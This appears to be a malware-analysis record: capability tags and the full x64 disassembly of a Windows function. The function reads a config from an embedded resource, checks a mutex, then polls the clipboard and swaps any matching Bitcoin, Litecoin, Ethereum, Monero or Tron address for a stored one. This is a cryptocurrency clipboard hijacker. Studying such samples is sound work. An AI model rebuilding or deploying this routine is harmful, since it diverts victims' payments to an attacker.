Function at 0x140002220
Capabilities:
Check mutex on windows
Create thread
Extract resource via kernel32 functions
Open clipboard
Read clipboard data
Write clipboard data

Disassembly:
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x14003b048]
xor rax, rsp
mov qword [rbp + 8], rax
mov ecx, 0x151c
call fcn.14000c108
xor ecx, ecx
mov qword [rax + 0x1510], rcx
lea edx, [rcx + 0x64]
lea r8d, [rcx + 0xa]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r8, rax
mov rsi, rax
mov edx, dword [rax + 0x1514]
mov ecx, dword [rax + 0x1510]
call fcn.140001980
lea r9, [rsi + 0x1208]
mov rdi, 0xffffffffffffffff
nop word [rax + rax]
inc rdi
cmp byte [r9 + rdi], 0
jne 0x1400022a0
mov rax, qword [0x14003bc00]
mov qword [rsp + 0x140], rbx
cmp rdi, rax
ja 0x1400022ec
cmp rax, 0x10
mov qword [0x14003bbf8], rdi
lea rbx, [0x14003bbe8]
mov r8, rdi
cmovae rbx, qword [0x14003bbe8]
mov rdx, r9
mov rcx, rbx
call fcn.14000df90
mov byte [rbx + rdi], 0
jmp 0x1400022fb
mov rdx, rdi
lea rcx, [0x14003bbe8]
call fcn.1400033f0
lea r9, [rsi + 0x1288]
mov rdi, 0xffffffffffffffff
nop dword [rax]
inc rdi
cmp byte [r9 + rdi], 0
jne 0x140002310
mov rax, qword [0x14003bc60]
mov qword [rsp + 0x150], r13
lea r13, [0x14003bc48]
cmp rdi, rax
ja 0x14000235f
cmp rax, 0x10
mov qword [0x14003bc58], rdi
mov rbx, r13
mov r8, rdi
cmovae rbx, qword [0x14003bc48]
mov rdx, r9
mov rcx, rbx
call fcn.14000df90
mov byte [rbx + rdi], 0
jmp 0x14000236a
mov rdx, rdi
mov rcx, r13
call fcn.1400033f0
lea r9, [rsi + 0x1308]
mov rdi, 0xffffffffffffffff
nop dword [rax + rax]
inc rdi
cmp byte [r9 + rdi], 0
jne 0x140002380
mov rax, qword [0x14003bbe0]
mov qword [rsp + 0x118], r14
lea r14, [0x14003bbc8]
cmp rdi, rax
ja 0x1400023cf
cmp rax, 0x10
mov qword [0x14003bbd8], rdi
mov rbx, r14
mov r8, rdi
cmovae rbx, qword [0x14003bbc8]
mov rdx, r9
mov rcx, rbx
call fcn.14000df90
mov byte [rbx + rdi], 0
jmp 0x1400023da
mov rdx, rdi
mov rcx, r14
call fcn.1400033f0
lea r9, [rsi + 0x1388]
mov rdi, 0xffffffffffffffff
nop dword [rax + rax]
inc rdi
cmp byte [r9 + rdi], 0
jne 0x1400023f0
mov rax, qword [0x14003bc40]
mov qword [rsp + 0x148], r12
lea r12, [0x14003bc28]
cmp rdi, rax
ja 0x14000243f
cmp rax, 0x10
mov qword [0x14003bc38], rdi
mov rbx, r12
mov r8, rdi
cmovae rbx, qword [0x14003bc28]
mov rdx, r9
mov rcx, rbx
call fcn.14000df90
mov byte [rbx + rdi], 0
jmp 0x14000244a
mov rdx, rdi
mov rcx, r12
call fcn.1400033f0
lea r9, [rsi + 0x1408]
mov rdi, 0xffffffffffffffff
nop dword [rax + rax]
inc rdi
cmp byte [r9 + rdi], 0
jne 0x140002460
mov rax, qword [0x14003bc20]
mov qword [rsp + 0x110], r15
lea r15, [0x14003bc08]
cmp rdi, rax
ja 0x1400024af
cmp rax, 0x10
mov qword [0x14003bc18], rdi
mov rbx, r15
mov r8, rdi
cmovae rbx, qword [0x14003bc08]
mov rdx, r9
mov rcx, rbx
call fcn.14000df90
mov byte [rbx + rdi], 0
jmp 0x1400024ba
mov rdx, rdi
mov rcx, r15
call fcn.1400033f0
movzx eax, byte [rsi + 0x1488]
mov ecx, 0x10
mov dword [0x14003db50], eax
movzx eax, byte [rsi + 0x148a]
mov dword [0x14003db48], eax
movzx eax, byte [rsi + 0x1489]
mov dword [0x14003db44], eax
movzx eax, byte [rsi + 0x148b]
mov dword [0x14003db40], eax
movzx eax, byte [rsi + 0x148c]
mov dword [0x14003db4c], eax
call fcn.14000c108
lea rcx, [0x140001fd0]
mov r9, rax
lea r8, [0x140004a80]
xor edx, edx
mov qword [rax + 8], rcx
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov qword [rax], rsi
mov dword [rsp + 0x20], 0
call fcn.140012a38
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1400029f1
lea r8, [rsi + 0x148d]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1400025b0
cmp dword [rsp + 0x38], 0
jne 0x1400029eb
mov r15, qword [rsp + 0x110]
xor eax, eax
mov r14, qword [rsp + 0x118]
mov r13, qword [rsp + 0x150]
mov r12, qword [rsp + 0x148]
mov rbx, qword [rsp + 0x140]
mov rcx, qword [rbp + 8]
xor rcx, rsp
call fcn.14000c0e0
add rsp, 0x120
pop rdi
pop rsi
pop rbp
ret
xorps xmm0, xmm0
lea rdx, str._bc1_13___a_zA_HJ_NP_Z0_9_25_39_
xor eax, eax
lea rcx, [rsp + 0x40]
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x50], xmm0
call fcn.140002a10
xorps xmm0, xmm0
lea rdx, str._LM__a_km_zA_HJ_NP_Z1_9_26_33_
xor eax, eax
lea rcx, [rsp + 0x68]
movups xmmword [rsp + 0x68], xmm0
mov qword [rbp - 0x78], rax
movups xmmword [rsp + 0x78], xmm0
call fcn.140002a10
xorps xmm0, xmm0
lea rdx, str.0x_a_fA_F0_9_40_
xor eax, eax
lea rcx, [rbp - 0x70]
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x50], rax
movups xmmword [rbp - 0x60], xmm0
call fcn.140002a10
xorps xmm0, xmm0
lea rdx, str._48__0_9AB__1_9A_HJ_NP_Za_km_z_93_
xor eax, eax
lea rcx, [rbp - 0x48]
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x28], rax
movups xmmword [rbp - 0x38], xmm0
call fcn.140002a10
xorps xmm0, xmm0
lea rdx, str.T_A_Za_z1_9_33_
xor eax, eax
lea rcx, [rbp - 0x20]
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp], rax
movups xmmword [rbp - 0x10], xmm0
call fcn.140002a10
nop dword [rax]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
test rax, rax
jne 0x14000268b
call qword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, 0x19
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140002660
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rbx, rax
mov rax, 0xffffffffffffffff
nop
cmp byte [rbx + rax + 1], 0
lea rax, [rax + 1]
jne 0x1400026a0
lea rdx, [rax + rbx]
mov dword [rsp + 0x20], 0x10
lea r9, [rsp + 0x40]
mov rcx, rbx
call fcn.140003b70
test al, al
je 0x140002705
cmp dword [0x14003db50], 0
je 0x140002705
mov rdi, qword [0x14003bbf8]
mov ecx, 2
inc rdi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
cmp qword [0x14003bc00], 0x10
lea rbx, [0x14003bbe8]
cmovae rbx, qword [0x14003bbe8]
jmp 0x140002987
mov rdx, 0xffffffffffffffff
nop dword [rax]
inc rdx
cmp byte [rbx + rdx], 0
jne 0x140002710
add rdx, rbx
mov dword [rsp + 0x20], 0x10
lea r9, [rsp + 0x68]
mov rcx, rbx
call fcn.140003b70
test al, al
je 0x14000276e
cmp dword [0x14003db44], 0
je 0x14000276e
mov rdi, qword [0x14003bc58]
mov ecx, 2
inc rdi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
cmp qword [0x14003bc60], 0x10
mov rbx, r13
cmovae rbx, qword [0x14003bc48]
jmp 0x140002987
mov rax, 0xffffffffffffffff
cmp byte [rbx + rax + 1], 0
lea rax, [rax + 1]
jne 0x140002775
lea rdx, [rax + rbx]
mov dword [rsp + 0x20], 0x10
lea r9, [rbp - 0x70]
mov rcx, rbx
call fcn.140003b70
test al, al
je 0x1400028b2
cmp dword [0x14003db48], 0
je 0x1400028b2
xor esi, esi
mov edi, 5
movsx ecx, byte [rdi + rbx]
call fcn.140012bd0
test eax, eax
je 0x1400027c3
inc esi
inc rdi
cmp rdi, 0x19
jl 0x1400027b4
mov rcx, qword [0x14003bbd8]
mov edi, 2
mov ebx, edi
cmp esi, 0x11
jle 0x14000283a
cmp rcx, rdi
jbe 0x140002888
nop dword [rax + rax]
cmp qword [0x14003bbe0], 0x10
mov rax, r14
cmovae rax, qword [0x14003bbc8]
movsx ecx, byte [rbx + rax]
call fcn.1400128d4
cmp qword [0x14003bbe0], 0x10
lea rbx, [rbx + 1]
mov rcx, r14
cmovae rcx, qword [0x14003bbc8]
inc edi
mov byte [rbx + rcx - 1], al
mov rcx, qword [0x14003bbd8]
movsxd rax, edi
cmp rax, rcx
jb 0x1400027f0
jmp 0x140002888
cmp rcx, rdi
jbe 0x140002888
nop
cmp qword [0x14003bbe0], 0x10
mov rax, r14
cmovae rax, qword [0x14003bbc8]
movsx ecx, byte [rbx + rax]
call fcn.1400128a8
cmp qword [0x14003bbe0], 0x10
lea rbx, [rbx + 1]
mov rcx, r14
cmovae rcx, qword [0x14003bbc8]
inc edi
mov byte [rbx + rcx - 1], al
mov rcx, qword [0x14003bbd8]
movsxd rax, edi
cmp rax, rcx
jb 0x140002840
lea rdi, [rcx + 1]
mov ecx, 2
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
cmp qword [0x14003bbe0], 0x10
mov rbx, r14
cmovae rbx, qword [0x14003bbc8]
jmp 0x140002987
mov rax, 0xffffffffffffffff
nop dword [rax]
cmp byte [rbx + rax + 1], 0
lea rax, [rax + 1]
jne 0x1400028c0
lea rdx, [rax + rbx]
mov dword [rsp + 0x20], 0x10
lea r9, [rbp - 0x48]
mov rcx, rbx
call fcn.140003b70
test al, al
je 0x14000291d
cmp dword [0x14003db40], 0
je 0x14000291d
mov rdi, qword [0x14003bc38]
mov ecx, 2
inc rdi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
cmp qword [0x14003bc40], 0x10
mov rbx, r12
cmovae rbx, qword [0x14003bc28]
jmp 0x140002987
mov rax, 0xffffffffffffffff
cmp byte [rbx + rax + 1], 0
lea rax, [rax + 1]
jne 0x140002924
lea rdx, [rax + rbx]
mov dword [rsp + 0x20], 0x10
lea r9, [rbp - 0x20]
mov rcx, rbx
call fcn.140003b70
test al, al
je 0x140002678
cmp dword [0x14003db4c], 0
je 0x140002678
mov rdi, qword [0x14003bc18]
mov ecx, 2
inc rdi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
cmp qword [0x14003bc20], 0x10
mov rbx, r15
cmovae rbx, qword [0x14003bc08]
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rdi, rdi
je 0x1400029c9
test rax, rax
je 0x1400029b9
mov r8, rdi
mov rcx, rax
test rbx, rbx
je 0x1400029b2
mov rdx, rbx
call fcn.14000df90
jmp 0x1400029c9
xor edx, edx
call fcn.14000e7c0
call fcn.140013394
mov dword [rax], 0x16
call fcn.140013070
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, rsi
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
jmp 0x140002678
call fcn.140013108
int3
mov ecx, 6
mov dword [rsp + 0x38], 0
call fcn.14000ab5c
int3